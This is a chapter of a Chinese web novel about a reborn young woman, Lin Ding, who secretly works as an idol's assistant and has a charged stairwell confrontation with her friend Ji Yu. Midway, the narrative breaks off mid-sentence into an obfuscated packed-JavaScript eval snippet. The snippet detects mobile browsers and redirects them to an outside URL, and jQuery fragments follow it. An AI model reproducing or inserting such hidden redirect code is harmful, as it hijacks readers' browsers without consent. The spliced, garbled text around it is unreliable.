成子秋了然地眨了眨眼。原来是他,那个经纪人嘴里有点门路的空降新人。
他瞥了一眼纪屿伸出的手,并没有去握,只是笑了一下。他那笑容依旧是好看的,眼里却没什么笑意,冷冰冰的。
“赛场上再认识吧。”他轻飘飘地落下这句,便不再多言,与纪屿擦肩而过,走进了化妆间。进门后,他回头看了还愣在门口的林定一眼。
林定被这一眼看得终于回过神来,她有些局促地低下头,快步跟了进去。
与纪屿侧身而过的瞬间,她抬了下眼。仅仅一瞬的对视,她看到了纪屿眼中的惊讶和疑惑,还有一些她看不明白的情绪。
她低下头。
不要看他,不要看他。她在心里对自己说,现在自己可是成子秋的助理,要想真正能帮到纪屿,离他远点才是对的。
纪屿站在原地,看着那个他熟悉的女孩,匆匆从自己身边掠过,垂在身侧的手握成了拳。
他很想叫住她问清楚,这到底是怎么回事。
她怎么会和成子秋一起。
可是,他有什么资格问她呢。
他们那日的争执,总在他脑海里挥之不去。
他们之间,也不知道,在她眼里,还算不算是朋友,她选择做什么,去哪里……似乎都不关他的事。
她一定已经讨厌他了,他们闹地这么不愉快。
这思绪让他胸口发闷,呼吸有一些不畅。
这个月他常常心烦意乱。他以为林定只是重生命运给他送来的一个意外插曲,一个过客。可这一个月刻意的疏远,非但没有让他遗忘,反而在他疲惫心累的时刻,她的话语、她的微笑、还有她送给他那唱片的旋律,会不受控地反复浮现。这是为什么……他对自己这份莫名的情感感到不解,甚至有些恼火。
化妆间内,林定故作镇定地走到妆台前,拿出成子秋的保温杯摆放好。成子秋透过镜子沉默地看了她一眼,没说什么。这时,一位扎着高马尾、妆容精致的女化妆师笑着走过来和成子秋打招呼,目光落到林定身上时,疑惑道:“成老师,娟姐今天没来呀?这位是……?”
“新助理。”成子秋简单地说,没有打算将自己助理的私事公之于众。
林定对化妆师笑了笑:“你好,叫我小林就行~”
就在这时,身后传来刚刚那个金发助理小思的声音,她语气极其不耐烦,声音不大却刻薄清晰:“纪屿,你早上没喝美式消肿吗?脸这么肿,等会儿上镜能看吗,真是,一点自觉都没有,当练习生都很长时间了啊……”
如此不客气的贬低话语,让林定的眉皱到了一起。她忍不住回头看去,恰好撞进纪屿望向她的眼眸之中。
那眼神陌生地像湖深潭,林定的心咯噔了一下。
紧接着,让所有人都没想到的一幕,发生了。
纪屿朝她走了过来,她还没来得及反应,纪屿一把握住了她的手腕。
“你……”林定错愕地瞪大双眼,手腕处的握力让她停止了呼吸。
这番动静,吸引了化妆间里所有人的目光,当然也包括正被化妆师打理底妆的成子秋。他从镜中看到了这一幕,眉头瞬间就蹙了起来,那张好看的脸冷了下来,平日里刻意维持着的温和氛围感也荡然无存。
纪屿似乎也意识到了自己的冲动,他轻轻松开手,语气恢复了平淡,仿佛刚才的失态并不存在:“你打翻了成老师的咖啡,不用去帮他重新买一杯吗?”
林定脸上的表情可精彩,窘迫、慌乱、委屈都交织在了一起,她紧紧咬着下唇才勉强恢复正常神态。
纪屿却已转向成子秋,姿态有些懒意,话里却藏着锋芒:“成老师,可以麻烦您的助理去给您买咖啡时,顺便也帮我带一杯吗?我的助理……好像忘了。” 他眼风扫过一旁脸色瞬间涨红的小思,意有所指。
成子秋的嘴角微微抽动了一下,觉得眼前这人简直荒谬之至。恰在此时,他的化妆师竟也搭腔道:“是啊小林,给成子秋老师带一杯美式吧,等下拍摄状态会更好呢。”
众目睽睽之下,成子秋盯了一眼依旧直直望着林定的纪屿,压下心头那股莫名的不快,冷淡道:“可以。”随即,他转向脸色苍白的林定,神色不自觉地缓和了些,声音也更轻:“那麻烦你了。”
林定呼了一口气,用力地点点头,不敢再看任何人,转身小跑着冲出了化妆间。
“哎,小林,一楼大门左转就有咖啡店——”化妆师在她身后喊道,但林定的身影已消失在门口。
“我去和她说。”纪屿迈开他那长腿,快步跟了出去,留下一屋子气氛微妙的人。
成子秋望着重新关上的门,眼神若有所思。
*
林定逃似的跑进安全通道的楼梯间,铁门在身后缓缓合上,隔绝了外面的吵闹。
她背靠着墙壁,轻轻喘着气,试图平复心情。
“砰。”
楼道的门被再次推开。
纪屿追了进来,楼梯间的声控灯亮起,昏暗的光线把他的轮廓照地如此不真实,林定的眼神黯了黯。他走到她面前,挡住了去路。
“定定。” 他唤她,声音比在化妆间里软了许多,却带着小心翼翼的疑惑,那双好看的眼睛看着她,里面清晰地映出她的慌张。“你为什么在这里?”
“……工作。” 林定偏过头,生硬地回答,强迫自己把视线落在楼梯的金属扶手上。
“我没懂。” 纪屿轻声说,向前迈了一小步,拉近了两个人的距离。他看着她反常频率的眨眼和紧抿的嘴唇,心头那点压着的烦躁几乎要藏不住了。
林定被他逼问得无法正常呼吸,刚才一直假装的镇定就快要绷不住,声音在尽力维持正常:“我说过了……我要找暑期实习。”
“这就是你找的实习?” 纪屿像是听到了什么极度荒谬的事情,短促地笑了一声,那笑声里却尽是苦涩。他笑起来的样子本该令人目眩,可此刻林定只有满心难言,她强迫自己将背部挺直了,点点头:“嗯……晚上再聊吧,我得去买咖啡了。” 她现下只想立刻逃离。
她侧身想从他身边绕开往下走,却再次被纪屿一把握住了手臂。
“定定。” 他的语气无奈。
林定挣了挣,却没能挣脱。纪屿见她还想走,只好手下稍稍用了点力,将她轻轻地拉了回来,转身将林定抵在了墙壁与他之间。两人的距离缩短到只剩一拳,空气混合着化妆品香气和林定身上的咖啡味,将二人包围。
“可为什么……” 纪屿低下头,目光紧锁她的眼,声音极低,却每一个字都很清晰,“你要做成子秋的助理?”
纪屿的气息拂过她的脸,林定的理智在那越距的注视下逐渐崩塌。为什么?难道要我说是为了你吗?为了接近你的竞争对手,为了打探消息,为了保护你?这些话她只能放在心里,一个字都不能说出来。难言之隐的委屈让她鼻头一酸,眼也控制不住地湿润了起来。
“没有为什么。” 她闭上眼,轻轻说出这句话,嗓音已经不如刚才稳定。她受不了这样近
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925171|187627||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的距离,受不了他眼中那份追问的探寻和……其他的一切。
纪屿没有说话,看着她这幅模样,心里的某个位置好像被扯地有些难受。他想起上个月那场因他而起的争执,语气微微放缓,却再一次带着他的不赞同:“欣喜娱乐不是一个好公司。有很多压榨员工和一些很黑暗的先例,这些都只有圈里的人知道。明星助理的工作也辛苦,没有后台就只能看人脸色,它不是很适合……”
这句话像一颗炸弹,点着了林定隐隐压抑住的情绪,她眼眶通红地抬起头重新与他对视:“又是不适合?纪屿,你不要总是说这种话,如你上次所说,你真的……没有很了解我。这份工作是我自己面试争取来的,我是个成年人,我的每一个决定都是经过我深思熟虑的,我会为我自己的选择负责。” 她虽然很难受,但她还是不会对着纪屿大吼大叫。林定知道,纪屿说这些话肯定也是有关心她的一部分原因,但……重生以来,拯救她的星星和自我成长都在她的规划之中,她也从未对自己不负责任,她一直都有好好为自己的未来做打算。
“谢谢你的关心。”她很悲哀地小声补了一句。纪屿不会知道,她是一个经历过职场的人,她不是眼前这个十八岁的学生。纪屿看着林定的反应,看着她有些沮丧又倔强不服输的样子,其他的话就堵在嗓子里,说不出口了。他意识到,自己又用错了方式。
他沉默了几秒,像是妥协了林定的说辞,转而问了另外一个问题,声音轻地楼道里只有林定听得见:“暑假都在这边实习?还还回G市吗?”
他们离得太近了,近到她能看清他衬衫上的纽扣花纹和针线样式,能感受到他不规则的温热呼吸。林定偏着头,点了点头。
两个人都不知道再说什么合适。纪屿的目光掠过她紧抿的唇,又落回她湿润的眼睛里。一个有些幼稚的念头,从他脑子里冒了出来,他张了张嘴,犹豫了一会儿,开口问道:
“你现在的,” 纪屿的喉结滚动了一下,声音比刚才还低,“手机壁纸,是成子秋吗?”
问完他就后悔了。这是什么问题?前文不搭后语的。可这话都已经问出口,也收不回来了。
林定听到问题后,感到万分困惑。壁纸?这和现在的情形有什么关系……他难道……还在意之前发现她壁纸是他那件事吗?
一想到这个,那场争执的心痛感又传达至全身。
“我有找过你内推,” 她抬起头,直视他,眼泪很争气的与眼眶和解,没有滴下来。
“是你不答应的。”
“我也答应过你,不会去你的公司。”
每一个字,都重重敲在纪屿身上。是啊,是他先将她拒之门外的。
她伸出手推开了他。
纪屿措不及防间被她推得向后踉跄了半步,松开了手。
“你这个月都没有联系我。” 他看着揉着手腕,与自己拉开距离的女孩,缓缓说道。
林定停下揉手腕的动作,没有看他,只是用同样轻的声音,一字一句道:
“你也没有联系我。”
说完,她不再停留,快步冲下楼梯,身影消失在昏暗的光线里,也消失在纪屿的视线中。
楼梯间重归寂静,声控灯悄悄地灭了。
纪屿靠在冰冷的墙壁上,脑海里,全是她最后那句轻飘飘却尖锐地刺痛了他的反驳。
是啊,他也没有联系她。
前世没有的、陌生的情感,悄然如清风一般闯进了他的胸腔。
纪屿感觉心里空落落的。